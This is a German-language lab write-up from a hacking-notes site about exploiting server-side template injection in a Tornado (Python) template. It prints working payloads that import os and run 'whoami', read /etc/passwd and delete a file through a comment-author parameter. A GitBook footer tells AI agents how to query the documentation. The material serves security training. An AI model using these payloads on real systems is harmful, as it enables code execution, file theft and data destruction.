> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssti/basic-ssti-in-a-python-code-context.md).

# Einfache SSTI in einem Python-Code-Kontext

### Einfache serverseitige Template-Injection (Code-Kontext)

Dieses Labor stellt eine Sicherheitslücke vor **Server-Side Template Injection (SSTI)** aufgrund der unsicheren Verwendung eines **Tornado-Template**. / Das Ziel ist es, beliebigen Code über die Template-Engine auszuführen und dann die `morale.txt` Datei, die sich im persönlichen Verzeichnis von Carlos befindet.

Ein Testkonto wird bereitgestellt: **wiener:peter**.

#### **Anwendungsanalyse**

Im Abschnitt, der definiert, wie der Benutzer beim Verfassen eines Kommentars angezeigt werden soll, kann der übermittelte Parameter geändert werden:

<figure><img src="/files/620b05bdbfb296152f4ec7609c0e49e49eaa4b1e" alt="" width="563"><figcaption></figcaption></figure>

Der vom Server zurückgegebene Fehler bestätigt das Vorhandensein einer **Python/Tornado** Engine, was auf eine Template-Injection hindeutet.

```bash
blog-post-author-display=user.JAAJAJAJ&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

<figure><img src="/files/b104eb601e3ae8cc3754c51b00a351ae4c9d019d" alt="" width="551"><figcaption></figcaption></figure>

<figure><img src="/files/a5f238834aa9fe5e061744ef7c838ee413bc89d9" alt=""><figcaption></figcaption></figure>

#### **Grundlegende Injektionstests**

Um zu prüfen, ob das Template interpretiert wird:

```python
{{7*7}}
}}{{7*7
```

Das Rendering bestätigt die Injektion: Die Berechnung wird von der Template-Engine ausgeführt.

<figure><img src="/files/93d92c6aaaac1411f338fac6482c8494f5399be0" alt=""><figcaption></figcaption></figure>

#### **Befehlsausführung**

Tornado erlaubt den Import von Modulen direkt in das Template

```python
{{os.system('whoami')}}
{%import os%}{{os.system('whoami')}}
```

#### **Datei lesen `/etc/passwd`**

An den verwundbaren Parameter angepasste Injektion

{% code overflow="wrap" %}

```python
blog-post-author-display=user.name}}{%import os%}{{os.system('cat /etc/passwd')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}

<figure><img src="/files/a53cf07a0c001a0951b6cce1fec2ffd7304bad0c" alt=""><figcaption></figcaption></figure>

#### **Gelöschte Moral-Datei. Txt**

Letzter Befehl zur Validierung des Labs:

{% code overflow="wrap" %}

```bash
blog-post-author-display=user.name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')}&csrf=mrMPde6YeaY1AVSQZizKC9IKWI3VFNoj
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssti/basic-ssti-in-a-python-code-context.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
